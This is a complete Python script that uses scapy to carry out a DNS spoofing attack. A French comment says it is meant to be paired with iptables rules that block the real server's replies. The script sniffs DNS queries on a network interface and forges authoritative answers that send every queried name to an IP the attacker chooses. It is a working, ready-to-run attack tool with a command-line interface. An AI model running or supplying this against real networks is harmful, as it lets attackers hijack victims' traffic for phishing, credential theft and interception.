#!/home/donkey/.virtualenvs/default_py2/bin/python
# -*- coding:utf-8 -*-

"""
A utiliser avec iptables pour bloquer le traffic qui vient du vrai serveur.
"""

from scapy.all import *

class DNSSpoofer (object):

    def __init__(self, dnsserver_ip, redirect_ip, interface):
        self.dnsserver_ip = dnsserver_ip
        self.redirect_ip = redirect_ip
        self.interface = interface

    def attack(self):
        def callback(packet):
            """
            Fonction appelée par sniff
            """
            if packet.haslayer(DNSQR):
                spoofed_packet = IP(dst=packet[IP].src, src=packet[IP].dst) /\
                                UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) /\
                                DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, qr=1, an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=self.redirect_ip))
                send(spoofed_packet, verbose=0)
                print("Sent:")
                print(spoofed_packet.summary())
        sniff(filter="not src host {} and udp port 53".format(self.dnsserver_ip), iface=self.interface, store=0, prn=callback)


if __name__ == "__main__":
    from sys import argv, exit

    if len(argv) != 4:
        print("Usage : dns-spoofer.py [dnsserver ip] [redirect ip] [interface]")
        exit(1)

    print("[+] Launched DNS spoofer")

    dnsspoofer = DNSSpoofer(argv[1], argv[2], argv[3])
    dnsspoofer.attack()
